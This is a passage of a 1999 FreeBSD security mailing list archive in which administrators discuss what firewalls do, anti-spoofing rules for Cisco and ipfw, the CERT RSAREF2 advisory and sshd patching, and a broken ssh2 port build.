a UUnet > >router. Is there a way that I can find out which machines are replying > >to the broadcast ip? > > umm... a ping to the broadcast address doesn't work? usually you'll see > the individual replies. > > marc -- Darren Foo =========================== MIS, WebCT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 17:21:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id 2E29915287 for ; Mon, 13 Dec 1999 17:21:44 -0800 (PST) (envelope-from mike@sentex.net) Received: from granite.sentex.net (granite-atm.sentex.ca [209.112.4.1]) by vinyl.sentex.ca (8.9.3/8.9.3) with ESMTP id UAA45348 for ; Mon, 13 Dec 1999 20:21:40 -0500 (EST) (envelope-from mike@sentex.net) Received: from ospf-mdt.sentex.net (ospf-mdt.sentex.net [205.211.164.81]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id UAA08474 for ; Mon, 13 Dec 1999 20:21:39 -0500 (EST) From: mike@sentex.net (Mike Tancsa) To: freebsd-security@FreeBSD.ORG Subject: Re: Why use a Firewall? Date: Tue, 14 Dec 1999 01:21:38 GMT Message-ID: <38559b0b.1554822827@mail.sentex.net> References: In-Reply-To: X-Mailer: Forte Agent .99e/32.227 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 13 Dec 1999 11:15:10 -0500, in sentex.lists.freebsd.security you wrote: > >I have always wondered what does a firewall really do for one? I mean >why should one have one for their web servers and what kind of protection >does it give to protect against hackers or what not? >If i was to install a firewall what types of programs should I >install? > >Any responses would be appreciated. The servers i'm mainly running >would just be DNS, Web Server, and mail server. Spoofed addresses for one thing. There are many reasons. Sometimes if anything to protect known vulnerable services, and to limit access to services that do not warrent public exposure. These days, you really need to run one. I suggest browsing through your book store's computer security section. ---Mike Mike Tancsa (mdtancsa@sentex.net) Sentex Communications Corp, Waterloo, Ontario, Canada "Given enough time, 100 monkeys on 100 routers could setup a national IP network." (KDW2) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 22:25: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.rdc3.on.home.com (ha1.rdc3.on.home.com [24.2.9.68]) by hub.freebsd.org (Postfix) with ESMTP id DE86615582 for ; Mon, 13 Dec 1999 22:24:55 -0800 (PST) (envelope-from pccb@yahoo.com) Received: from yahoo.com ([24.114.52.208]) by mail.rdc3.on.home.com (InterMail v4.01.01.02 201-229-111-106) with ESMTP id <19991214062249.RTGP18773.mail.rdc3.on.home.com@yahoo.com> for ; Mon, 13 Dec 1999 22:22:49 -0800 Message-ID: <3855E2B4.59CDD2FD@yahoo.com> Date: Tue, 14 Dec 1999 01:24:52 -0500 From: Pierre Chiu Reply-To: pccb@yahoo.com Organization: ObjTech Corporation X-Mailer: Mozilla 4.61 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@FreeBSD.ORG Subject: Re: Why use a Firewall? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Spoofed addresses for one thing. There are many reasons. Sometimes if >anything to protect known vulnerable services, and to limit access to >services that do not warrent public exposure. These days, you really need >to run one. I suggest browsing through your book store's computer security >section. > > ---Mike >Mike Tancsa (mdtancsa@sentex.net) >Sentex Communications Corp, >Waterloo, Ontario, Canada >"Given enough time, 100 monkeys on 100 routers >could setup a national IP network." (KDW2) I don't think firewall can stop spoofed ip. It can stop non-routable ip like (192.168.1.1), but if your ip is 24.112.1.1 and you spoofed it as 24.118.1.1, I doubt firewall can detect it. Peter Chiu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 23: 3:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from atdot.dotat.org (atdot.dotat.org [150.101.89.3]) by hub.freebsd.org (Postfix) with ESMTP id 8F6421558B for ; Mon, 13 Dec 1999 23:03:21 -0800 (PST) (envelope-from newton@atdot.dotat.org) Received: (from newton@localhost) by atdot.dotat.org (8.9.3/8.7) id RAA80866; Tue, 14 Dec 1999 17:29:28 +1030 (CST) Date: Tue, 14 Dec 1999 17:29:28 +1030 From: Mark Newton To: Pierre Chiu Cc: freebsd-security@FreeBSD.ORG Subject: Re: Why use a Firewall? Message-ID: <19991214172928.A80831@atdot.dotat.org> References: <3855E2B4.59CDD2FD@yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <3855E2B4.59CDD2FD@yahoo.com>; from pccb@yahoo.com on Tue, Dec 14, 1999 at 01:24:52AM -0500 X-PGP-Key: http://slash.dotat.org/~newton/pgpkey.txt Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Dec 14, 1999 at 01:24:52AM -0500, Pierre Chiu wrote: > I don't think firewall can stop spoofed ip. > It can stop non-routable ip like (192.168.1.1), but if your ip is > 24.112.1.1 and you spoofed it as 24.118.1.1, I doubt firewall can detect > it. Of course a firewall can do that. Let's say your internal network is 192.82.222.0/24; You can prevent spoofed packets by applying a rule at your border which rejects inbound packets which claim 192.83.222.0/24 as a source. In Cisco parlance: interface serial0 ip access-group 101 in ip access-group 102 out ! access-list 101 deny ip 192.82.222.0 0.0.0.255 any access-list 101 permit ip any any access-list 102 permit ip 192.82.222.0 0.0.0.255 any access-list 102 deny ip any any These rules will prevent your users from spoofing other networks and other networks from spoofing you (but won't stop users on your networks from spoofing systems on your network). Tune to suit (e.g.: include multicast addresses if it suits your fancy, block other things which offend you, etc). - mark -------------------------------------------------------------------- I tried an internal modem, newton@atdot.dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1620-2223 ------------- Fax: +61-8-82231777 ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 23: 4:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from jason.argos.org (a1-3b058.neo.rr.com [24.93.181.58]) by hub.freebsd.org (Postfix) with ESMTP id 9786215864 for ; Mon, 13 Dec 1999 23:03:49 -0800 (PST) (envelope-from mike@argos.org) Received: from localhost (mike@localhost) by jason.argos.org (8.9.1/8.9.1) with ESMTP id CAA31509; Tue, 14 Dec 1999 02:03:47 -0500 Date: Tue, 14 Dec 1999 02:03:47 -0500 (EST) From: Mike Nowlin To: Adidas Boy Cc: freebsd-security@FreeBSD.ORG Subject: Re: Why use a Firewall? In-Reply-To: <19991213161434.34190.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I have always wondered what does a firewall really do for one? I mean > why should one have one for their web servers and what kind of protection > does it give to protect against hackers or what not? > If i was to install a firewall what types of programs should I > install? One of the very basic things a simple firewall can do is restrict access to certain machines... We have quite a few boxes at work, and some of those are heavy-security machines that really have little or no business being directly connected to the world -- why risk exposing them to attacks? All of our Alphas & RS6000's are prohibited from any traffic to/from the router directly, but they ARE allowed to talk to the proxy server... Without the firewall, it would be trivial for our users to telnet directly into the machine (or out of it). We only allow outside access to those machines for a very small set of users, and they have to telnet into one of the "public" machines first, then telnet to the Alpha -- only users on the "approved" list have accounts on the public machine. mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 23:12:43 1999 Delivered-To: freebsd-security@freebsd.org Received: from inago.swcp.com (inago.swcp.com [198.59.115.17]) by hub.freebsd.org (Postfix) with ESMTP id 5B98E14C05 for ; Mon, 13 Dec 1999 23:12:41 -0800 (PST) (envelope-from synk@swcp.com) Received: (from synk@localhost) by inago.swcp.com (8.8.7/8.8.7) id AAA09760; Tue, 14 Dec 1999 00:12:38 -0700 (MST) Date: Tue, 14 Dec 1999 00:12:38 -0700 From: Brendan Conoboy To: Adidas Boy Cc: freebsd-security@FreeBSD.ORG Subject: Re: Why use a Firewall? Message-ID: <19991214001238.A9754@inago.swcp.com> References: <19991213161434.34190.qmail@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <19991213161434.34190.qmail@hotmail.com>; from Adidas Boy on Mon, Dec 13, 1999 at 09:14:34AM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Dec 13, 1999 at 09:14:34AM -0700, Adidas Boy wrote: > > I have always wondered what does a firewall really do for one? I mean > why should one have one for their web servers and what kind of protection > does it give to protect against hackers or what not? > If i was to install a firewall what types of programs should I > install? > > Any responses would be appreciated. The servers i'm mainly running > would just be DNS, Web Server, and mail server. I use a firewall because some network ports I want accessible by my internal network that I don't want accessed from the external network (rest of the world). These include rsh, nfs (plus all its cohorts) and X11. It also keeps people from poking the inextinguishable network ports on windows machines (137-139). -Brendan (synk@swcp.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 1: 6:36 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id 55F9B14BE6 for ; Tue, 14 Dec 1999 01:06:31 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id MAA06658; Tue, 14 Dec 1999 12:06:28 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdrS6656; Tue Dec 14 12:06:23 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id MAA16874; Tue, 14 Dec 1999 12:06:19 +0300 (MSK) Date: Tue, 14 Dec 1999 12:06:18 +0300 (MSK) From: "Ilmar S. Habibulin" To: Borja Marcos Cc: freebsd-security@FreeBSD.ORG Subject: Re: Logging and security In-Reply-To: <3853F4A8.D32AF81B@sarenet.es> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 12 Dec 1999, Borja Marcos wrote: > One of the areas which need attention in FreeBSD is event > logging. Logging is essential for good security, as detection of > exploitation of unknown security holes often depends on logging. Take a look at http://www.watson.org/fbsd-hardening/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 5: 9:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id 9A4EA14EB7 for ; Tue, 14 Dec 1999 05:09:46 -0800 (PST) (envelope-from mike@sentex.net) Received: from gravel (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.8.8/8.8.8) with SMTP id IAA10047; Tue, 14 Dec 1999 08:09:45 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.1.19991214075631.03f07780@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Tue, 14 Dec 1999 08:09:33 -0500 To: pccb@yahoo.com From: Mike Tancsa Subject: Re: Why use a Firewall? Cc: freebsd-security@freebsd.org In-Reply-To: <3855E2B4.59CDD2FD@yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:24 AM 12/14/99 , Pierre Chiu wrote: >>Spoofed addresses for one thing. There are many reasons. Sometimes if >I don't think firewall can stop spoofed ip. >It can stop non-routable ip like (192.168.1.1), but if your ip is >24.112.1.1 and you spoofed it as 24.118.1.1, I doubt firewall can detect >it. Of course it can. e.g. if your network inside is 123.123.123.0/24 and your interface to the outside world, fxp0 ipfw add 100 deny log ip from 123.123.123.123 in via fxp0 ---Mike ********************************************************************** Mike Tancsa * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 519 651 3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 14:28:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.Myable.COM (ns.myable.com [208.48.119.194]) by hub.freebsd.org (Postfix) with ESMTP id 72A4D15098; Tue, 14 Dec 1999 14:28:11 -0800 (PST) (envelope-from beej@myable.com) Received: from KGB (dmz-gateway.myable.com [208.48.119.193]) by ns.Myable.COM (8.9.3/8.9.3) with ESMTP id OAA65263; Tue, 14 Dec 1999 14:27:59 -0800 (PST) (envelope-from beej@myable.com) Message-Id: <4.2.2.19991214112940.01c3d5b8@mail.myable.com> X-Sender: beej@mail.myable.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 14 Dec 1999 11:39:23 -0800 To: freebsd-security@freebsd.org From: Marc Bejarano Subject: CERT released RSAREF bulletin Cc: ache@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org CERT released their bulletin on the RSAREF2 buffer overflow vulnerability. see http://www.cert.org/advisories/CA-99-15-RSAREF2.html there seem to be a few different patches for the rsaref library floating around. this advisory has links to what appear to be the latest iterations. i guess the rsaref port needs updating? marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 14:37:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from postfix1.free.fr (postfix1.free.fr [212.27.32.21]) by hub.freebsd.org (Postfix) with ESMTP id BE46515529 for ; Tue, 14 Dec 1999 14:37:21 -0800 (PST) (envelope-from usebsd@free.fr) Received: from safi (paris11-nas2-42-160.dial.proxad.net [212.27.42.160]) by postfix1.free.fr (Postfix) with SMTP id 55CEA28AE9 for ; Tue, 14 Dec 1999 23:34:47 +0100 (MET) From: "BSDman" To: Subject: RE: Why use a Firewall? Date: Tue, 14 Dec 1999 23:41:52 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <19991214172928.A80831@atdot.dotat.org> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Pierre Chiu wrote: > > I don't think firewall can stop spoofed ip. > It can stop non-routable ip like (192.168.1.1), but if your ip is > 24.112.1.1 and you spoofed it as 24.118.1.1, I doubt firewall > can detect it. > Mark Newton wrote: > Of course a firewall can do that. A firewall cannot protect against IP spoofing in the general sense. It can stop external packets using internal addresses, but it cannot detect that an external packet has spoofed an external address. It think that's what Pierre was meaning. To say it simply, a firewall divides the world into two regions: a private one and a public one, and helps in controlling traffic between these regions (using many interfaces, one can have many regions, but let's stay simple...). If your site is very security sensitive, you'll have to assume that all the external world is hostile and full of intruders. So, you'll have to configure your firewall to reject any connections requested by an outsider (you'll have to permit responses to your packets!). Even if you don't have a similar policy, you'll have to admit that you cannot really distinguish (from a security policy point of view) two external addresses unless you use some specific protection (IPSEC, SSL, ...). so you can't say, my web server is available for everybody except from a given address. Note also that firewalls cannot protect against "hard" attacks such as hijacking, so authentication by itself does not help. Anyway, a firewall is necessary for almost all networks connected to a "untrusted" network (such as the internet). Its objectves are: - "physically" separate the trusted and the untrusted networks - centralize access control A generally admitted objective is that a firewall is configured securely and runs a secure environment (OS, soft...) which is not the case of all internal hosts. One can however think of a theoritical network which all hosts implement firewalling software and are configured correctly (from a security and network points of view). Then, there is no need for a firwall (in theory). but who will bother to check all that configurations? That's where a firewall is good: put all your eggs in one basket and watch that basket carefully! mouss To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 15:40:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1731115347; Tue, 14 Dec 1999 15:40:56 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA73737; Tue, 14 Dec 1999 16:40:54 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA56342; Tue, 14 Dec 1999 16:40:53 -0700 (MST) Message-Id: <199912142340.QAA56342@harmony.village.org> To: Marc Bejarano Subject: Re: CERT released RSAREF bulletin Cc: freebsd-security@FreeBSD.ORG, ache@FreeBSD.ORG In-reply-to: Your message of "Tue, 14 Dec 1999 11:39:23 PST." <4.2.2.19991214112940.01c3d5b8@mail.myable.com> References: <4.2.2.19991214112940.01c3d5b8@mail.myable.com> Date: Tue, 14 Dec 1999 16:40:53 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <4.2.2.19991214112940.01c3d5b8@mail.myable.com> Marc Bejarano writes: : i guess the rsaref port needs updating? Satoshi-san has updated the port. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 16: 8:49 1999 Delivered-To: freebsd-security@freebsd.org Received: from pasteur.EECS.Berkeley.EDU (pasteur.EECS.Berkeley.EDU [128.32.138.75]) by hub.freebsd.org (Postfix) with ESMTP id 8CEF3151F9 for ; Tue, 14 Dec 1999 16:08:37 -0800 (PST) (envelope-from sowings@pasteur.EECS.Berkeley.EDU) Received: from mamba.CS.Berkeley.EDU (mamba.CS.Berkeley.EDU [128.32.43.159]) by pasteur.EECS.Berkeley.EDU (8.9.3+Sun/8.9.1) with ESMTP id QAA25778 for ; Tue, 14 Dec 1999 16:08:25 -0800 (PST) Received: from mamba.CS.Berkeley.EDU (localhost [127.0.0.1]) by mamba.CS.Berkeley.EDU (8.9.3+Sun/8.9.1) with ESMTP id QAA10142 for ; Tue, 14 Dec 1999 16:08:25 -0800 (PST) Message-Id: <199912150008.QAA10142@mamba.CS.Berkeley.EDU> To: freebsd-security@freebsd.org Subject: Firewall and NAT, step-by-step? Date: Tue, 14 Dec 1999 16:08:25 -0800 From: Sanford Owings Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm trying to set up a firewall with transparent proxying, and I suspect that the right combination of firewall rules and NAT will do what I want. The problem is that I'm stymied by the exact order of the process. /etc/rc.firewall states that an incoming packet translated by natd will then "reenter the firewall". Does this mean that the packet begins again at rule 0, and if so, what exactly is its state? Most specifically, what interface is it hitting, and which way is it going? Can I finagle something useful out of "recv, xmit, in, out", etc? I have attempted to figure out what's going on by opening the firewall, starting nat and having a client machine ping or nslookup or try some other equally simple action while watching the inbound and outbound interfaces with tcpdump. I can see the way packets move on the wire, but not how they bang around the kernel. With the firewall rules in place, the outbound tcpdump sees exactly 0 packets. Any help would be greatly appreciated. -- Sanford Owings EECS Instructional Group Staff University of California at Berkeley To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 20: 5:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [130.126.8.20]) by hub.freebsd.org (Postfix) with ESMTP id F0D2C14F9E for ; Tue, 14 Dec 1999 20:05:03 -0800 (PST) (envelope-from igor@alecto.physics.uiuc.edu) Received: (from igor@localhost) by alecto.physics.uiuc.edu (8.9.0/8.9.0) id WAA28271; Tue, 14 Dec 1999 22:04:57 -0600 (CST) From: Igor Roshchin Message-Id: <199912150404.WAA28271@alecto.physics.uiuc.edu> Subject: Re: CERT released RSAREF bulletin In-Reply-To: <199912142340.QAA56342@harmony.village.org> from "Warner Losh" at "Dec 14, 1999 4:40:53 pm" To: imp@village.org (Warner Losh) Date: Tue, 14 Dec 1999 22:04:57 -0600 (CST) Cc: freebsd-security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > In message <4.2.2.19991214112940.01c3d5b8@mail.myable.com> Marc > Bejarano writes: > : i guess the rsaref port needs updating? > > Satoshi-san has updated the port. > > Warner > > I've noticed that the patch just changed from its Dec.2 version. Does it mean that the rsaref2 (and therefore the software based on it) as of Dec.2-Dec.13 is/was still vulnerable, or this is more of a aesthetic change for the sake of the patch elegancy ? Thanks, Igor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 20:52: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from quaggy.ursine.com (lambda.blueneptune.com [209.133.45.179]) by hub.freebsd.org (Postfix) with ESMTP id 60B82153DE for ; Tue, 14 Dec 1999 20:52:01 -0800 (PST) (envelope-from fbsd-security@ursine.com) Received: from michael (lambda.ursine.com [209.133.45.69]) by quaggy.ursine.com (8.9.3/8.9.3) with ESMTP id UAA50314 for ; Tue, 14 Dec 1999 20:52:01 -0800 (PST) Message-ID: <199912142052000380.09DCA719@quaggy.ursine.com> In-Reply-To: <199912150404.WAA28271@alecto.physics.uiuc.edu> References: <199912150404.WAA28271@alecto.physics.uiuc.edu> X-Mailer: Calypso Version 3.00.00.13 (2) Date: Tue, 14 Dec 1999 20:52:00 -0800 From: "Michael Bryan" To: freebsd-security@FreeBSD.ORG Subject: Re: CERT released RSAREF bulletin Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >I've noticed that the patch just changed from its Dec.2 version. >Does it mean that the rsaref2 (and therefore the software based on it) >as of Dec.2-Dec.13 is/was still vulnerable, >or this is more of a aesthetic change for the sake of the patch elegancy ? If I recall the BugTraq message on this correctly, the original RSAREF= patch was not enough to catch all cases, but did close things down substantially. There was also a patch made to the port of ssh in mid-November= (specifically rsaglue.c), and I think that fully closes the hole as well, but obviously only for ssh/sshd. Other users of RSAREF would still be vulnerable unless the RSAREF port is patched as well. As a final note, a BugTraq message said that somebody has coded an exploit for the bug as seen in sshd 1.2.27 and earlier, and they are about to= release it to the world. It works on Linux and OpenBSD, giving the attacker root= access. It will likely work against FreeBSD as well, possibly with minor= modifications. Anybody who uses ssh 1.2.27 or earlier in combination with RSAREF needs to= update things on their systems ASAP. (RSAREF is not the normal compilation of the= ssh port, though.) Supposedly there is a 1.2.28 version of ssh in the works, but there's no= sign of it just yet on their ftp server or web site. Michael Bryan fbsd-security@ursine.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 21:23:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from quaggy.ursine.com (lambda.blueneptune.com [209.133.45.179]) by hub.freebsd.org (Postfix) with ESMTP id 19B901521D for ; Tue, 14 Dec 1999 21:23:13 -0800 (PST) (envelope-from fbsd-security@ursine.com) Received: from michael (lambda.ursine.com [209.133.45.69]) by quaggy.ursine.com (8.9.3/8.9.3) with ESMTP id VAA50432 for ; Tue, 14 Dec 1999 21:23:10 -0800 (PST) Message-ID: <199912142123110810.09F93633@quaggy.ursine.com> In-Reply-To: <199912142052000380.09DCA719@quaggy.ursine.com> References: <199912150404.WAA28271@alecto.physics.uiuc.edu> <199912142052000380.09DCA719@quaggy.ursine.com> X-Mailer: Calypso Version 3.00.00.13 (2) Date: Tue, 14 Dec 1999 21:23:11 -0800 From: "Michael Bryan" To: freebsd-security@FreeBSD.ORG Subject: Re: CERT released RSAREF bulletin Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 12/14/99 at 8:52 PM Michael Bryan wrote: > >As a final note, a BugTraq message said that somebody has coded an exploit >for the bug as seen in sshd 1.2.27 and earlier, and they are about to= release >it to the world. Speak of the devil... the exploit was just published on BugTraq, and the author says it was tested against sshd running on Linux (RedHat 6.0) and OpenBSD 2.6. Reading through the description of the exploit, it appears that the mid-November patch to sshd is enough to stop this one cold, even if RSAREF2 remains unpatched. Michael Bryan fbsd-security@ursine.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 21:39:21 1999 Delivered-To: freebsd-security@freebsd.org Received: from garcon.qtm.net (qtm.net [206.53.233.50]) by hub.freebsd.org (Postfix) with ESMTP id 7D97215329 for ; Tue, 14 Dec 1999 21:39:05 -0800 (PST) (envelope-from jay@qtm.net) Received: from ENFORCER (enforcer.qtm.net [216.163.32.5]) by garcon.qtm.net (8.9.1/8.9.1) with SMTP id AAA18684 for ; Wed, 15 Dec 1999 00:39:04 -0500 (EST) From: "Network Admin [JPeterson]" To: Subject: ssh2 port broken? Date: Wed, 15 Dec 1999 00:39:01 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <199912142123110810.09F93633@quaggy.ursine.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I just tried to do the ssh2 port - make install - and when it tried to do the rsaref part of it, I got a stop error code 4.. is this because of something to do with the CERT stuff? how can I fix this port? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 22:24: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 53C7215439 for ; Tue, 14 Dec 1999 22:24:02 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA75041; Tue, 14 Dec 1999 23:24:00 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA58523; Tue, 14 Dec 1999 23:24:00 -0700 (MST) Message-Id: <199912150624.XAA58523@harmony.village.org> To: "Network Admin [JPeterson]" Subject: Re: ssh2 port broken? Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Wed, 15 Dec 1999 00:39:01 EST." References: Date: Tue, 14 Dec 1999 23:24:00 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message "Network Admin [JPeterson]" writes: : I just tried to do the ssh2 port - make install - and when it tried to do : the rsaref part of it, I got a stop error code 4.. is this because of : something to do with the CERT stuff? how can I fix this port? Wanna post the errors, or keep us in the dark? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 14 23: 6:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from garcon.qtm.net (qtm.net [206.53.233.50]) by hub.freebsd.org (Postfix) with ESMTP id 4E69A1506C for ; Tue, 14 Dec 1999 23:06:50 -0800 (PST) (envelope-from jay@qtm.net) Received: from ENFORCER (enforcer.qtm.net [216.163.32.5]) by garcon.qtm.net (8.9.1/8.9.1) with SMTP id CAA28069; Wed, 15 Dec 1999 02:06:48 -0500 (EST) From: "Network Admin [JPeterson]" To: "Warner Losh" Cc: Subject: RE: ssh2 port broken? Date: Wed, 15 Dec 1999 02:06:44 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <199912150624.XAA58523@harmony.village.org> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Sorry - it must've been the fact that rsaref had already been updated or something in the packages .. I replaced ports/security/rsaref/patches/patch.ac with the rsaref2.patch file found at: ftp://www.core-sdi.com/pub/patches/rsaref2.patch and redid the make, worked fine =) I just found that and was about to email this out when I saw your email come in .. -jp > -----Original Message----- > From: owner-freebsd-security@FreeBSD.ORG > [mailto:owner-freebsd-security@FreeBSD.ORG]On Behalf Of Warner Losh > Sent: Wednesday, December 15, 1999 1:24 AM > To: Network Admin [JPeterson] > Cc: freebsd-security@FreeBSD.ORG > Subject: Re: ssh2 port broken? > > > In message "Network > Admin [JPeterson]" writes: > : I just tried to do the ssh2 port - make install - and when it > tried to do > : the rsaref part of it, I got a stop error code 4.. is this because of > : something to do with the CERT 